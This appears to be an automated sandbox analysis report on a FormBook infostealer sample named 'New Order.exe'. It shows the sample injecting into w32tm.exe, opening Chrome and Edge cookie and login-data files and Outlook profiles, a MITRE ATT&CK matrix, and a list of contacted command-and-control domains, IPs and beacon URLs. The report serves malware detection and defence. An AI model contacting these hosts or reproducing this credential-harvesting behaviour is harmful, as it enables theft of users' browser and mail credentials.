Source: C:\Users\user\Desktop\New Order.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\New Order.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Stealing of Sensitive Information

Tries to harvest and steal browser information (history, passwords, etc)

Source: Yara match	File source: 8.2.New Order.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.New Order.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000E.00000002.4629567782.0000000000950000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2489286072.00000000016B0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.4636187188.0000000005250000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.4633862013.0000000002DB0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.4633798417.0000000002D60000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2486160123.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2490425395.0000000002620000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.4633944997.0000000002F00000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY

Source: C:\Windows\SysWOW64\w32tm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\w32tm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\w32tm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Local State	Jump to behavior
Source: C:\Windows\SysWOW64\w32tm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Windows\SysWOW64\w32tm.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\w32tm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\w32tm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local State	Jump to behavior
Source: C:\Windows\SysWOW64\w32tm.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\SysWOW64\w32tm.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\

Remote Access Functionality

Source: Yara match	File source: 8.2.New Order.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.New Order.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000E.00000002.4629567782.0000000000950000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2489286072.00000000016B0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.4636187188.0000000005250000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.4633862013.0000000002DB0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.4633798417.0000000002D60000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2486160123.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2490425395.0000000002620000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.4633944997.0000000002F00000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	1 DLL Side-Loading	412 Process Injection	1 Masquerading	1 OS Credential Dumping	121 Security Software Discovery	Remote Services	1 Email Collection	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 Abuse Elevation Control Mechanism	11 Disable or Modify Tools	LSASS Memory	2 Process Discovery	Remote Desktop Protocol	1 Archive Collected Data	3 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 DLL Side-Loading	41 Virtualization/Sandbox Evasion	Security Account Manager	41 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	1 Data from Local System	4 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	412 Process Injection	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	4 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	2 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Abuse Elevation Control Mechanism	Cached Domain Credentials	113 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	4 Obfuscated Files or Information	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	12 Software Packing	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	1 DLL Side-Loading	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
New Order.exe	58%	ReversingLabs	ByteCode-MSIL.Backdoor.FormBook
New Order.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
http://www.717hy.net/ffyl/?u6nP_F48=E0w2q4MWRkFX7XJTCFHtBeMrFLWo0m25Rc1Iug5umE0SqvxIQJbSqlJsxR0jPeALC0qf+EILQRQVRMVyHOYHvE1WYG6fPKkQNyF776m1LEnS8hs9By21ThuVAZMLKVLgjh2k5HE=&F8S0G=ul80rPhxFlR8lH	0%	Avira URL Cloud	safe
http://www.lgdiamonds.info/q2b2/	0%	Avira URL Cloud	safe
http://www.bootleggersrt.online/7a5n/	0%	Avira URL Cloud	safe
http://www.717hy.net/ffyl/	0%	Avira URL Cloud	safe
http://www.614genetics.online/614_Genetics_Online_Class.cfm?fp=GPZqom54Zw2OunBTGjv%2BCiwC4YcGWNmE%2F	0%	Avira URL Cloud	safe
http://www.614genetics.online/display.cfm	0%	Avira URL Cloud	safe
http://www.lgdiamonds.info/q2b2/?u6nP_F48=k8LEnfe2wzSPKnd+4j+FHsRof8pP0SbHpdiozyXUU8wG1G+DI2HbB69btAHUx0UZtSY5up0HFKX7joYW5N4IdT0eHsdsbM4tAcjV6Y0GGqKWlvaVbVOKX21NPAfOVONObcqqhCU=&F8S0G=ul80rPhxFlR8lH	0%	Avira URL Cloud	safe
http://www.gravendeel.studio/7hhj/?u6nP_F48=d0CkvoX3wOjxIpsVGuv5CbpRWXdSS5jyTLOcAowQzGd7pP90T+NzeFPfjsupmGVcOHZBRLveV16iOhBmsp+LB4tn4np0Uy/CwiS3uOlrNEAyxbwQ0Bx5UgKfq4kfjh/tx9U3UfI=&F8S0G=ul80rPhxFlR8lH	0%	Avira URL Cloud	safe
http://www.beythome.online/8l49/	0%	Avira URL Cloud	safe
http://www.funnystory.online/cgi-sys/suspendedpage.cgi?F8S0G=ul80rPhxFlR8lH&u6nP_F48=dzHZVdeA6r6	0%	Avira URL Cloud	safe
http://www.bootleggersrt.online/7a5n/?F8S0G=ul80rPhxFlR8lH&u6nP_F48=S6SHGGXXYwmAu16pai4DUvmkZVlUR2XiLpaLWC7pZkuSLECp9ozWQ9UIc1yk4ybjQU73M8zKwnu8ByEcz6/kZr88F4N+VuUzEk15V8/AegthLE/UMwpBwzbtc6DqGvxT1O3KEY4=	0%	Avira URL Cloud	safe
http://www.beythome.online/8l49/?u6nP_F48=nvcb/0GPN54d2JGc++8p3dyReVT22F4rjpMi4BWXcGVVoAh+NvljRHAQbHtQixLLlmtkfcmDaBBvdXdVxLFdqzx8TquVI3FC1FmB8VJ2JKjVM5x76R9HEtDUYFAgHCOmYLPQQCg=&F8S0G=ul80rPhxFlR8lH	0%	Avira URL Cloud	safe
http://www.614genetics.online/614_Genetics_Online_Activity.cfm?fp=GPZqom54Zw2OunBTGjv%2BCiwC4YcGWNmE	0%	Avira URL Cloud	safe
http://www.inspireto.life/odi0/	0%	Avira URL Cloud	safe
http://www.614genetics.online/__media__/design/underconstructionnotice.php?d=614genetics.online	0%	Avira URL Cloud	safe
http://www.614genetics.online	0%	Avira URL Cloud	safe
http://www.gravendeel.studio/7hhj/	0%	Avira URL Cloud	safe
http://www.kvsj.net/z5bv/	0%	Avira URL Cloud	safe
http://www.614genetics.online/614_Genetics_Online_Course.cfm?fp=GPZqom54Zw2OunBTGjv%2BCiwC4YcGWNmE%2	0%	Avira URL Cloud	safe
http://www.hm35s.top/tb3j/	0%	Avira URL Cloud	safe
http://www.funnystory.online/cgi-sys/suspendedpage.cgi?F8S0G=ul80rPhxFlR8lH&u6nP_F48=dzHZVdeA6r6aBY	0%	Avira URL Cloud	safe
http://www.614genetics.online/__media__/js/trademark.php?d=614genetics.online&type=ns	0%	Avira URL Cloud	safe
http://www.inspireto.life/odi0/?F8S0G=ul80rPhxFlR8lH&u6nP_F48=A+TCtTOt1m7L0JkN7P72xqDuM3MJ0JKhh3i5FsNa0NmBZ9+GiOsXSm+4Udvcs/rcS+RMYR73IEQXFVaqqwbxWOBmPh+KTHFpnfkytlUBUFCYYxG0fJp40sWrzXdCUwp6RCE3NBU=	0%	Avira URL Cloud	safe
http://www.jijievo.site/k6jo/	0%	Avira URL Cloud	safe
http://www.kvsj.net/z5bv/?u6nP_F48=cvqi6aS93HIxTV+im7Da9wWvrF3f6kX831gUtjTv5ZY+kxOTwbTgT7fbXvvVwY5eJbST1YhYPLKkRqd0ELEj3LZc91hb0mGUNuPi7mwbOhhaZQnJVaKvflcbWzyST/JxwAq3b9E=&F8S0G=ul80rPhxFlR8lH	0%	Avira URL Cloud	safe
http://www.conseilnsaftogo.org	0%	Avira URL Cloud	safe
http://www.aiactor.xyz/ni8v/?u6nP_F48=E6dmM5lVsU5dMvoO4DByNQl1po9CAiKqwP/M9Lkf/Pz1vXYNvQEcepUiklJu8ucCjCBb2PxhMpGrlWRQjEXW3F39dXh33B934veeKulAqM3yo8/KKg/OIuvEV/M85G2BQAfVVnY=&F8S0G=ul80rPhxFlR8lH	0%	Avira URL Cloud	safe
http://www.614genetics.online/614_Genetics_Online_Game.cfm?fp=GPZqom54Zw2OunBTGjv%2BCiwC4YcGWNmE%2Fe	0%	Avira URL Cloud	safe
http://www.conseilnsaftogo.org/j7q9/	0%	Avira URL Cloud	safe
http://www.614genetics.online/n3sn/?u6nP_F48=RfKXbkttwVfKfWhPTrA3UJfHAa0lqotu1/Ih4u/jCz+IVopDYjbPUryKgNOP1Jh4fKEyHC4SaeJpkkGXoxNgwDh8y8hzLkYWybtZWLt0K3r82a9qd0enmdThBea8SuX4gW/lNzc=&F8S0G=ul80rPhxFlR8lH	0%	Avira URL Cloud	safe
http://www.614genetics.online/n3sn/	0%	Avira URL Cloud	safe
http://www.funnystory.online/plyd/?F8S0G=ul80rPhxFlR8lH&u6nP_F48=dzHZVdeA6r6aBY+WJKlD1JvNcS8At/hTBiY50HAPZV2ofm/GZqXRfQPKYRVLRkTR3sVHjl53Bmiktifh36yAEsVj1orjw3l3xM5ELiir5eYKE6CYAoGwQn3hI9wO6DC6wMKZTnE=	0%	Avira URL Cloud	safe
http://www.funnystory.online/plyd/	0%	Avira URL Cloud	safe
http://www.614genetics.online/Genetics_Online_College_Course.cfm?fp=GPZqom54Zw2OunBTGjv%2BCiwC4YcGWN	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
all.wjscdn.com	154.90.35.240	true	true	unknown
www.lgdiamonds.info	130.185.109.77	true	true	unknown
www.inspireto.life	162.0.213.94	true	true	unknown
funnystory.online	172.104.82.74	true	true	unknown
gravendeel.studio	172.104.18.233	true	true	unknown
conseilnsaftogo.org	154.70.82.246	true	true	unknown
natroredirect.natrocdn.com	85.159.66.93	true	false	high
www.aiactor.xyz	13.248.169.48	true	true	unknown
www.kvsj.net	173.236.199.97	true	true	unknown
hm35s.top	154.23.184.95	true	true	unknown
www.bootleggersrt.online	31.31.196.17	true	true	unknown
www.614genetics.online	208.91.197.27	true	true	unknown
www.717hy.net	68.66.226.92	true	true	unknown
www.theressome123ppl.info	unknown	unknown	false	unknown
www.jijievo.site	unknown	unknown	false	unknown
www.gravendeel.studio	unknown	unknown	false	unknown
www.funnystory.online	unknown	unknown	false	unknown
www.beythome.online	unknown	unknown	false	unknown
www.hm35s.top	unknown	unknown	false	unknown
www.conseilnsaftogo.org	unknown	unknown	false	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://www.lgdiamonds.info/q2b2/?u6nP_F48=k8LEnfe2wzSPKnd+4j+FHsRof8pP0SbHpdiozyXUU8wG1G+DI2HbB69btAHUx0UZtSY5up0HFKX7joYW5N4IdT0eHsdsbM4tAcjV6Y0GGqKWlvaVbVOKX21NPAfOVONObcqqhCU=&F8S0G=ul80rPhxFlR8lH	true	Avira URL Cloud: safe	unknown
http://www.717hy.net/ffyl/	true	Avira URL Cloud: safe	unknown
http://www.717hy.net/ffyl/?u6nP_F48=E0w2q4MWRkFX7XJTCFHtBeMrFLWo0m25Rc1Iug5umE0SqvxIQJbSqlJsxR0jPeALC0qf+EILQRQVRMVyHOYHvE1WYG6fPKkQNyF776m1LEnS8hs9By21ThuVAZMLKVLgjh2k5HE=&F8S0G=ul80rPhxFlR8lH	true	Avira URL Cloud: safe	unknown
http://www.beythome.online/8l49/	true	Avira URL Cloud: safe	unknown
http://www.gravendeel.studio/7hhj/?u6nP_F48=d0CkvoX3wOjxIpsVGuv5CbpRWXdSS5jyTLOcAowQzGd7pP90T+NzeFPfjsupmGVcOHZBRLveV16iOhBmsp+LB4tn4np0Uy/CwiS3uOlrNEAyxbwQ0Bx5UgKfq4kfjh/tx9U3UfI=&F8S0G=ul80rPhxFlR8lH	true	Avira URL Cloud: safe	unknown
http://www.bootleggersrt.online/7a5n/	true	Avira URL Cloud: safe	unknown
http://www.lgdiamonds.info/q2b2/	true	Avira URL Cloud: safe	unknown
http://www.beythome.online/8l49/?u6nP_F48=nvcb/0GPN54d2JGc++8p3dyReVT22F4rjpMi4BWXcGVVoAh+NvljRHAQbHtQixLLlmtkfcmDaBBvdXdVxLFdqzx8TquVI3FC1FmB8VJ2JKjVM5x76R9HEtDUYFAgHCOmYLPQQCg=&F8S0G=ul80rPhxFlR8lH	true	Avira URL Cloud: safe	unknown
http://www.bootleggersrt.online/7a5n/?F8S0G=ul80rPhxFlR8lH&u6nP_F48=S6SHGGXXYwmAu16pai4DUvmkZVlUR2XiLpaLWC7pZkuSLECp9ozWQ9UIc1yk4ybjQU73M8zKwnu8ByEcz6/kZr88F4N+VuUzEk15V8/AegthLE/UMwpBwzbtc6DqGvxT1O3KEY4=	true	Avira URL Cloud: safe	unknown
http://www.gravendeel.studio/7hhj/	true	Avira URL Cloud: safe	unknown
http://www.inspireto.life/odi0/	true	Avira URL Cloud: safe	unknown
http://www.kvsj.net/z5bv/	true	Avira URL Cloud: safe	unknown
http://www.hm35s.top/tb3j/	true	Avira URL Cloud: safe	unknown
http://www.jijievo.site/k6jo/	true	Avira URL Cloud: safe	unknown
http://www.inspireto.life/odi0/?F8S0G=ul80rPhxFlR8lH&u6nP_F48=A+TCtTOt1m7L0JkN7P72xqDuM3MJ0JKhh3i5FsNa0NmBZ9+GiOsXSm+4Udvcs/rcS+RMYR73IEQXFVaqqwbxWOBmPh+KTHFpnfkytlUBUFCYYxG0fJp40sWrzXdCUwp6RCE3NBU=	true	Avira URL Cloud: safe	unknown
http://www.kvsj.net/z5bv/?u6nP_F48=cvqi6aS93HIxTV+im7Da9wWvrF3f6kX831gUtjTv5ZY+kxOTwbTgT7fbXvvVwY5eJbST1YhYPLKkRqd0ELEj3LZc91hb0mGUNuPi7mwbOhhaZQnJVaKvflcbWzyST/JxwAq3b9E=&F8S0G=ul80rPhxFlR8lH	true	Avira URL Cloud: safe	unknown
http://www.conseilnsaftogo.org/j7q9/	true	Avira URL Cloud: safe	unknown
http://www.aiactor.xyz/ni8v/?u6nP_F48=E6dmM5lVsU5dMvoO4DByNQl1po9CAiKqwP/M9Lkf/Pz1vXYNvQEcepUiklJu8ucCjCBb2PxhMpGrlWRQjEXW3F39dXh33B934veeKulAqM3yo8/KKg/OIuvEV/M85G2BQAfVVnY=&F8S0G=ul80rPhxFlR8lH	true	Avira URL Cloud: safe	unknown
http://www.614genetics.online/n3sn/?u6nP_F48=RfKXbkttwVfKfWhPTrA3UJfHAa0lqotu1/Ih4u/jCz+IVopDYjbPUryKgNOP1Jh4fKEyHC4SaeJpkkGXoxNgwDh8y8hzLkYWybtZWLt0K3r82a9qd0enmdThBea8SuX4gW/lNzc=&F8S0G=ul80rPhxFlR8lH	true	Avira URL Cloud: safe	unknown
http://www.funnystory.online/plyd/?F8S0G=ul80rPhxFlR8lH&u6nP_F48=dzHZVdeA6r6aBY+WJKlD1JvNcS8At/hTBiY50HAPZV2ofm/GZqXRfQPKYRVLRkTR3sVHjl53Bmiktifh36yAEsVj1orjw3l3xM5ELiir5eYKE6CYAoGwQn3hI9wO6DC6wMKZTnE=	true	Avira URL Cloud: safe	unknown
http://www.614genetics.online/n3sn/	true	Avira URL Cloud: safe	unknown
http://www.funnystory.online/plyd/	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	w32tm.exe, 0000000E.00000002.4637534779.0000000007DA8000.00000004.00000020.00020000.00000000.sdmp	false		high
http://i3.cdn-image.com/__media__/fonts/montserrat-regular/montserrat-regular.woff	w32tm.exe, 0000000E.00000002.4637249774.00000000062B0000.00000004.00000800.00020000.00000000.sdmp, w32tm.exe, 0000000E.00000002.4635164547.0000000004882000.00000004.10000000.00040000.00000000.sdmp, XVZmwHdSYwx.exe, 00000011.00000002.4634099504.0000000003D02000.00000004.00000001.00040000.00000000.sdmp	false		high
https://dts.gnpge.com	XVZmwHdSYwx.exe, 00000011.00000002.4634099504.0000000003D02000.00000004.00000001.00040000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	w32tm.exe, 0000000E.00000002.4637534779.0000000007DA8000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.614genetics.online/614_Genetics_Online_Class.cfm?fp=GPZqom54Zw2OunBTGjv%2BCiwC4YcGWNmE%2F	w32tm.exe, 0000000E.00000002.4637249774.00000000062B0000.00000004.00000800.00020000.00000000.sdmp, w32tm.exe, 0000000E.00000002.4635164547.0000000004882000.00000004.10000000.00040000.00000000.sdmp, XVZmwHdSYwx.exe, 00000011.00000002.4634099504.0000000003D02000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://i3.cdn-image.com/__media__/pics/28903/search.png)	w32tm.exe, 0000000E.00000002.4637249774.00000000062B0000.00000004.00000800.00020000.00000000.sdmp, w32tm.exe, 0000000E.00000002.4635164547.0000000004882000.00000004.10000000.00040000.00000000.sdmp, XVZmwHdSYwx.exe, 00000011.00000002.4634099504.0000000003D02000.00000004.00000001.00040000.00000000.sdmp	false		high
https://cdn.consentmanager.net	w32tm.exe, 0000000E.00000002.4635164547.0000000004882000.00000004.10000000.00040000.00000000.sdmp, XVZmwHdSYwx.exe, 00000011.00000002.4634099504.0000000003D02000.00000004.00000001.00040000.00000000.sdmp	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	w32tm.exe, 0000000E.00000002.4637534779.0000000007DA8000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.funnystory.online/cgi-sys/suspendedpage.cgi?F8S0G=ul80rPhxFlR8lH&u6nP_F48=dzHZVdeA6r6	w32tm.exe, 0000000E.00000002.4635164547.00000000046F0000.00000004.10000000.00040000.00000000.sdmp, XVZmwHdSYwx.exe, 00000011.00000002.4634099504.0000000003B70000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
